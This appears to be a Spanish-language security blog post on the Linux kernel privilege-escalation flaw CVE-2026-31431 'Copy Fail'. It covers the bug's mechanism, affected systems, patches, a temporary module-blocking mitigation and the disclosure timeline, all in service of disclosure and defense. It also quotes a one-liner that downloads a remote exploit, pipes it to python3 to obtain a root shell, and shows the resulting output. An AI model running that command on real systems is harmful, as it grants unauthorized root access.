CVE-2026-31431 Copy Fail: Escalada de Privilegios a Root en Todo Linux desde 2017

Hoy, 29 de abril de 2026, Xint Code (Theori) ha divulgado públicamente Copy Fail, una vulnerabilidad crítica en el kernel de Linux que permite a cualquier usuario local escalar privilegios a root. Sin ventana de carrera. Sin offsets específicos de kernel. El mismo script de 732 bytes funciona sin modificación en Ubuntu, Amazon Linux, RHEL, SUSE y cualquier distribución con un kernel compilado entre 2017 y el parche. Es el tipo de fallo que, cuando lo entiendes, no puedes creer que haya estado ahí nueve años.

Qué es Copy Fail y por qué importa

CVE-2026-31431 es un fallo lógico en el módulo del kernel algif_aead, concretamente en cómo el subsistema criptográfico authencesn interactúa con la interfaz AF_ALG y la llamada de sistema splice(). La cadena de subsistemas que lo hace posible lleva activa desde 2017. El resultado: un proceso sin privilegios puede escribir 4 bytes de forma controlada en el page cache de cualquier fichero legible, incluyendo binarios setuid como /usr/bin/su.

Traducido a términos prácticos: una shell root. Sin dejar rastro en disco. Sin necesitar reinicio. Sin herramientas externas. Solo Python stdlib.

El fallo técnico

Para entender Copy Fail hay que mirar tres piezas que encajan de forma desafortunada.

AF_ALG es la interfaz del kernel que expone operaciones criptográficas al espacio de usuario mediante sockets. Un proceso sin privilegios puede crear un socket AF_ALG, ligarlo a una plantilla AEAD como authencesn y pedirle al kernel que cifre o descifre datos.

splice() es una llamada de sistema que transfiere datos entre dos descriptores de fichero sin copiarlos: pasa referencias directas a páginas del page cache del kernel. Cuando se envía un fichero mediante splice() a un socket AF_ALG, el kernel entrega al subsistema criptográfico las propias páginas del page cache del fichero, no una copia.

La optimización in-place de 2017 es donde nace el problema. El commit 72548b093ee3 modificó algif_aead.c para que la desencriptación AEAD se hiciera en el mismo buffer: la misma scatterlist sirve de entrada y salida. Antes de este cambio, la fuente (que puede contener páginas del page cache de un fichero) y el destino eran buffers separados. Con el cambio, el destino reutiliza las páginas de la fuente mediante sg_chain(), encadenando páginas del page cache en la scatterlist de escritura.

El golpe final lo da authencesn. Este módulo implementa soporte IPsec ESN (Extended Sequence Numbers) y utiliza el buffer de destino del llamador como espacio de trabajo temporal: durante la desencriptación, la función crypto_authenc_esn_decrypt() escribe 4 bytes en la posición assoclen + cryptlen, es decir, justo pasado el límite del tag AEAD. En el camino in-place, esos 4 bytes caen dentro de las páginas del page cache encadenadas.

Lo que hace esto especialmente peligroso: el kernel nunca marca esa página como "sucia" para escritura de vuelta a disco. El fichero en disco queda intacto; solo la copia en memoria (el page cache) queda modificada. La modificación persiste hasta el siguiente reinicio o hasta que el kernel desaloje esa página.

Los parámetros que controla el atacante

El atacante controla con precisión tres variables de la escritura:

• Fichero objetivo: cualquier fichero legible por el proceso actual.
• Offset: determinado por el offset de fichero en splice(), la longitud de splice() y el valor de assoclen.
• Valor: los 4 bytes escritos son seqno_lo, construido por el atacante en los bytes 4-7 del payload AAD que se envía con sendmsg().

Esto convierte el bug en un primitivo de escritura arbitraria de 4 bytes en cualquier página del page cache que el proceso pueda leer.

A quién afecta

Cualquier sistema Linux con el módulo algif_aead disponible (incluido o cargable) y un kernel compilado desde 2017. En la práctica, eso cubre casi todo.

Los investigadores de Xint verificaron la explotación en estas distribuciones:

Distribución	Versión de kernel
Ubuntu 24.04 LTS	6.17.0-1007-aws
Amazon Linux 2023	6.18.8-9.213.amzn2023
RHEL 14.3	6.12.0-124.45.1.el10_1
SUSE 16	6.12.0-160000.9-default

También confirmadas como afectadas: Debian, Arch, Fedora, Rocky Linux, AlmaLinux, Oracle Linux y cualquier distribución que incluya un kernel de la rama afectada.

Los escenarios de mayor riesgo, ordenados por impacto:

1. Hosts Linux multiusuario. Cualquier cuenta local sin privilegios se convierte en root. Un desarrollador, un contratista con acceso restringido, cualquier usuario del sistema puede comprometer la máquina completa.

2. Clusters Kubernetes y entornos de contenedores. Un contenedor que comparte el kernel del host puede usar este exploit para escapar al nodo y comprometer otros tenants en la misma máquina. El aislamiento basado en namespaces no protege contra vulnerabilidades del kernel.

3. CI runners y build farms. Un repositorio con un PR malicioso que incluya un step de build puede obtener root en el runner (GitHub Actions self-hosted, GitLab runners, Jenkins agentes). Desde ahí, acceso a secretos de CI, tokens de despliegue y claves de firma.

4. SaaS cloud que ejecuta código de usuario. Notebooks en la nube, sandboxes de código, funciones serverless sobre Linux compartido. El aislamiento entre usuarios depende de que el kernel no tenga fallos de este tipo.

5. Servidores Linux estándar. LPE que se encadena con cualquier vulnerabilidad de ejecución de código remota (una aplicación web, unas credenciales robadas, un servicio expuesto) para completar la cadena hasta root.

6. Estaciones de trabajo de un solo usuario. Útil como step-up post-explotación: obtener root desde un proceso comprometido que corre como usuario normal.

El exploit

El PoC publicado es un script Python de 732 bytes que depende únicamente de la librería estándar: os, socket y zlib. Requiere Python 3.10 o superior (por os.splice). Sin race conditions, sin código nativo compilado, sin parámetros específicos por distribución y sin verificaciones de versión de kernel.

El repositorio está disponible en github.com/theori-io/copy-fail-CVE-2026-31431.

El ejemplo de verificación del advisory oficial:

curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Aviso importante: ejecutar este exploit únicamente en sistemas propios o con autorización escrita del propietario. La modificación del page cache no persiste tras reiniciar la máquina, pero la shell root obtenida durante la sesión activa es completamente real y funcional.

Mitigación: qué hacer ahora

Prioridad uno: parchear el kernel

El fix es el commit mainline a664bf3d603d. Revierte la operación de algif_aead a out-of-place, separando req->src (la TX SGL que puede contener páginas del page cache) de req->dst (el buffer de usuario de la RX SGL). El mensaje del commit lo resume: "no hay beneficio en operar in-place en algif_aead, ya que la fuente y el destino provienen de mappings distintos".

Las distribuciones principales ya están distribuyendo kernels parcheados. Actualiza con el gestor de paquetes correspondiente:

# Debian/Ubuntu
apt update && apt upgrade linux-image-$(uname -r)

# RHEL/Rocky/Alma
dnf update kernel

# SUSE
zypper update kernel-default

Mitigación temporal (si no puedes parchear de inmediato)

Deshabilitar el módulo algif_aead:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true

Esto bloquea la creación de sockets AF_ALG AEAD, eliminando el vector de explotación. El fichero modprobe.d garantiza que el bloqueo persiste tras reinicio.

Qué rompe esta mitigación temporal

La gran mayoría de sistemas no notará ningún cambio. La interfaz AF_ALG rara vez se usa directamente desde aplicaciones de espacio de usuario. Lo que sigue funcionando sin problema:

• dm-crypt y LUKS (cifrado de disco)
• kTLS (cifrado TLS en el kernel)
• IPsec/XFRM (el path interno del kernel, no usa AF_ALG)
• OpenSSL, GnuTLS, NSS en sus builds por defecto
• SSH
• Kernel keyring crypto

Lo que puede romperse: aplicaciones configuradas explícitamente para usar AF_ALG como acelerador hardware de criptografía. Esto incluye OpenSSL con el engine afalg activado, soluciones de offload criptográfico embebido y cualquier aplicación que abra directamente sockets del tipo aead, skcipher o hash sobre AF_ALG.

Para verificar si algún proceso en el sistema usa AF_ALG activamente:

lsof | grep AF_ALG
# o equivalentemente
ss -xa | grep algif

Para entornos con cargas no confiables

En contenedores, sandboxes y CI runners, bloquea la creación de sockets AF_ALG vía seccomp aunque hayas aplicado el parche. Es una capa adicional de defensa en profundidad sin coste operativo relevante.

Timeline de divulgación

Fecha	Evento
23 de marzo de 2026	Vulnerabilidad reportada al equipo de seguridad del kernel Linux
24 de marzo de 2026	Reconocimiento inicial del equipo del kernel
25 de marzo de 2026	Parches propuestos y revisados
1 de abril de 2026	Parche commiteado al mainline del kernel
22 de abril de 2026	CVE-2026-31431 asignado
29 de abril de 2026	Divulgación pública

Cómo fue descubierto

Copy Fail fue descubierto por el investigador Taeyang Lee de Xint Code (Theori) usando análisis asistido por IA del subsistema crypto/ del kernel Linux. Taeyang orientó a la herramienta con un prompt que señalaba específicamente que splice() entrega referencias de páginas del page cache de ficheros de solo lectura (incluidos binarios setuid) a las TX scatterlists criptográficas. "Después de aproximadamente una hora, el análisis había terminado y Copy Fail era el output de mayor severidad."

El mismo análisis también identificó otras vulnerabilidades de alta severidad que están todavía en proceso de divulgación responsable.

Esto tiene implicaciones directas para el sector: las herramientas de análisis automatizado de código de kernel están alcanzando un nivel de profundidad que, hace dos años, requería semanas de trabajo manual de un investigador de seguridad de kernel con experiencia. La superficie de ataque del kernel de Linux es enorme y la mayor parte de ese código no ha recibido una revisión profunda en años.

Comprueba si tu infraestructura está expuesta

Si gestionas servidores Linux o entornos de contenedores, este es el momento de verificar la exposición:

1. Identifica qué versión de kernel corre cada sistema: uname -r.
2. Comprueba si algif_aead está disponible: modinfo algif_aead.
3. Aplica el parche o la mitigación temporal en los sistemas que no puedan actualizarse de inmediato.
4. Para entornos cloud y Kubernetes, revisa las políticas seccomp de tus pods.

En Secra ayudamos a organizaciones a evaluar su exposición real ante vulnerabilidades de este tipo y a validar que los controles de seguridad funcionan antes de que lo haga un atacante. Si quieres una evaluación de tu superficie de exposición, escríbenos desde la página de contacto.